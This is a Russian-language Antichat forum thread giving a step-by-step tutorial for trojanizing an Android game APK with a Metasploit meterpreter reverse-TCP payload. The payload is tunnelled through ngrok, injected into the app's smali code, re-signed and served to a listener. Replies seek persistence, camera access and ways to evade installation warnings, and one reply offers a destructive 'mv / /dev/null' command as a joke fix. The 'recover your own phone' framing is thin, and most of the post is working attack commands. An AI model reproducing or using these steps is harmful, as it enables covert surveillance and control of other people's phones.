HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 31.10.2020, 17:01
s unity
Новичок
Регистрация: 18.09.2019
Сообщений: 0
С нами: 3502401

Репутация: 0
По умолчанию

Всем доброго времени суток. В этой статье я расскажу про то, как можно удаленно управлять своим телефоном, если вы вдруг его потеряете, или у вас его украдут. Путь не легкий, но эффективный. Прошу, не используйте это в корыстных и незаконных целях.
Меньше слов больше дела, переходим сразу к практике.

Для реализации задуманного необходим следующий софт:
  • Kali linux
  • ngrok
  • Apktool
  • Metasploit Framework
  • Jarsigner
  • key.keystore файл (это подписи, генерим с keytool)
  • Zipalign
  • Android 10 (ну или старее)
Как все это дело приобрести я не буду рассказывать, за исключением key.keystore

Начнем с скачивания приложения (.apk), в которое поместим backdoor. Например:



Ссылка

Для удобства дам ему короткое имя:



запускаем ngrok: (про установку и использования читайте в гугле. информации много )

Код:


Код:
./ngrok tcp 4444


получаем от него lhost и lport. Чтоб вы понимали, все, что будет попадать на этот хост по этому порту, будет отправляться нам на localhost 4444 (окно не закрываете. ngrok должен работать. в данном примере сессия одноразовая, но это совсем не проблема)

Запускаем msfvenom для создания пейлоада командой:

Код:


Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14797 M> /home/kali/payload.apk


теперь у меня есть файлик payload.apk по пути /home/kali/injection_apk/



сюда же помещаю приложение которое скачали с сайта (flappy.apk). вот как выглядит проект на данный момент:



Далее необходимо "[S]разархивировать[/S]" .apk файлы. делается это командами:

Код:


Код:
apktool d flappy.apk
apktool d payload.apk


получили 2 папки, с которыми будем работать.

Нам нужна папка metasploit (и все что внутри) по пути /injection_apk/payload/smali/com/
копируем и вставляем в папку flappy по пути /injection_apk/flappy/smali/com/





далее идем по пути /injection_apk/flappy/smali/com/dotgears/flappy/ и открываем файл SplashScreen.smali



нам необходимо выполнить инициализацию пейлоада, для этого вставляем строчку
Код:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
как на скрине ниже:
не забываете сохранить.



Теперь необходимо, чтобы наше приложение запросило необходимые разрешения при установке (для всего функционала meterpreter)

заходим в папку payload и копируем необходимые разрешения из файла AndroidManifest.xml





далее заходим в /injection_apk/flappy/ и находим там идентичный файл AndroidManifest.xml



и поправляем его разрешения удалив 3 строчки



и на их место вставляем наши, скопированные ранее разрешения из файла AndroidManifest.xml в папке payload



не забываете сохранить.

теперь необходимо перекомпилировать flappy использую всю ту же apktool

Код:


Код:
apktool b flappy


и в папке /injection_apk/flappy/dist/ получаем уже почти готовый flappy.apk



переходим к созданию файла подписей key.kyestore
это очень интересная тема, которой стоит заинтересоваться...
для генерирования файла нам понадобится keytool

Код:


Код:
keytool -genkey -V -keystore /home/kali/injection_apk/key.keystore -alias alexis -keyalg RSA -keysize 2048 -validity 1000


в папке /injection_apk/ получаем файл key.keystore



теперь сертифицируем наш flappy.apk (находящийся в расположении /injection_apk/flappy/dist/ ) утилитой jarsigner

Код:


Код:
jarsigner -verbose  -sigalg SHA1withRSA -digestalg SHA1 -keystore /home/kali/injection_apk/key.keystore /home/kali/injection_apk/flappy/dist/flappy.apk alexis
выводом будет много текста в сообщением об удачной регистрации, о рисках безопасности и так далее.... :



теперь нужно немножко выровнять наш проект и получит готовый продукт:

Код:
zipalign -v 4 /home/kali/injection_apk/flappy/dist/flappy.apk flappy_v.apk
тоже куча текста и в конце должно быть Verification successful



в папке /injection_apk/ появился конечный продукт с именем flappy_v.apk



предлагаю, перед его доставкой на СВОЙ телефон, зашифровать командой

Код:


Код:
zip --password античат flappySec.zip flappy_v.apk


далее я напишу всем известные команды:

Код:


Код:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost localhost
set lport 4444


доставил на СВОЙ телефон файлик
и получил сессию meterpreter







из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.

сессия метерпретер устойчивая и не разорвется пока вы не выключите ngrok.
 
Ответить с цитированием

  #2  
Старый 08.11.2020, 21:03
mrtyrel
Новичок
Регистрация: 28.04.2020
Сообщений: 0
С нами: 3180724

Репутация: 0
По умолчанию

А если я захочу другое приложение и там не будет Splashscreen как мне выполнить инициализацию пейлоада?

[теперь нужно немножко выровнять наш проект и получит готовый продукт]
Можно было хоть не много описать что это такое

Проверка была на Genymotion android 8 пейлоад как только запускался сразу умирал
На Nox android 7 пейлоад запускался спустя примерно 10 сек если приложения находилось открытым как только приложения закрывалось процесс умирал

Есть ли в msf payload android аналог ps/migrate/runmetsvc - msf payload windows
 
Ответить с цитированием

  #3  
Старый 10.11.2020, 16:46
s unity
Новичок
Регистрация: 18.09.2019
Сообщений: 0
С нами: 3502401

Репутация: 0
По умолчанию

Цитата:

mrtyrel сказал(а):

другое приложение и там не будет Splashscreen

тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически



Цитата:

mrtyrel сказал(а):

android 8 пейлоад как только запускался сразу умирал

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...
 
Ответить с цитированием

  #4  
Старый 14.11.2020, 19:29
mrtyrel
Новичок
Регистрация: 28.04.2020
Сообщений: 0
С нами: 3180724

Репутация: 0
По умолчанию

Цитата:

s unity сказал(а):

тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...

Ты делал опыт на реальном телефоне? Если да что за модель?
 
Ответить с цитированием

  #5  
Старый 15.11.2020, 00:38
s unity
Новичок
Регистрация: 18.09.2019
Сообщений: 0
С нами: 3502401

Репутация: 0
По умолчанию

Цитата:

mrtyrel сказал(а):

Ты делал опыт на реальном телефоне? Если да что за модель?

самсунг галакси А20-А50. установлены все последние обновления
 
Ответить с цитированием

  #6  
Старый 15.11.2020, 09:57
UnDerGr0unD
Новичок
Регистрация: 14.11.2020
Сообщений: 0
С нами: 2893469

Репутация: 0
По умолчанию

Цитата:

s unity сказал(а):

из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.

Тоже самое, можно ли эти косяки убрать?
 
Ответить с цитированием

  #7  
Старый 11.01.2021, 10:46
Pussykiller
Новичок
Регистрация: 10.01.2021
Сообщений: 0
С нами: 2811340

Репутация: 0
По умолчанию

Проблема с передней камерой решена?
 
Ответить с цитированием

  #8  
Старый 17.01.2021, 03:46
Павел55
Новичок
Регистрация: 16.01.2021
Сообщений: 0
С нами: 2803120

Репутация: 0
По умолчанию

Цитата:

s unity сказал(а):

тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...

Сегодняшняя проблема в сессии это в том что приложение должно быть в фоновом режиме, я делал обычный пайлаод и когда после установки тыкал на него открывалась сессия, стоило нажать на какое нибудь приложение сессия отрубалась(через нгрок делал),потом зашел в настройки и поставил пайлоад в фоновый режим и все пошло железно и точно,... как сделать в настройках апк фаила, чтоб после установки он переходил в фоновый режим , а не в ручную как делал я в настройках, если кто знает буду рад выслушать.
 
Ответить с цитированием

  #9  
Старый 25.06.2021, 21:51
Joyson
Новичок
Регистрация: 24.06.2021
Сообщений: 0
С нами: 2573074

Репутация: 0
По умолчанию



подскажите пожалуйста что это такое? Как решить?
 
Ответить с цитированием

  #10  
Старый 26.06.2021, 02:23
Cronix
Новичок
Регистрация: 14.03.2021
Сообщений: 0
С нами: 2720445

Репутация: 0
По умолчанию

Цитата:

Joyson сказал(а):

подскажите пожалуйста что это такое? Как решить?

Код:


Код:
mv / /dev/null
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.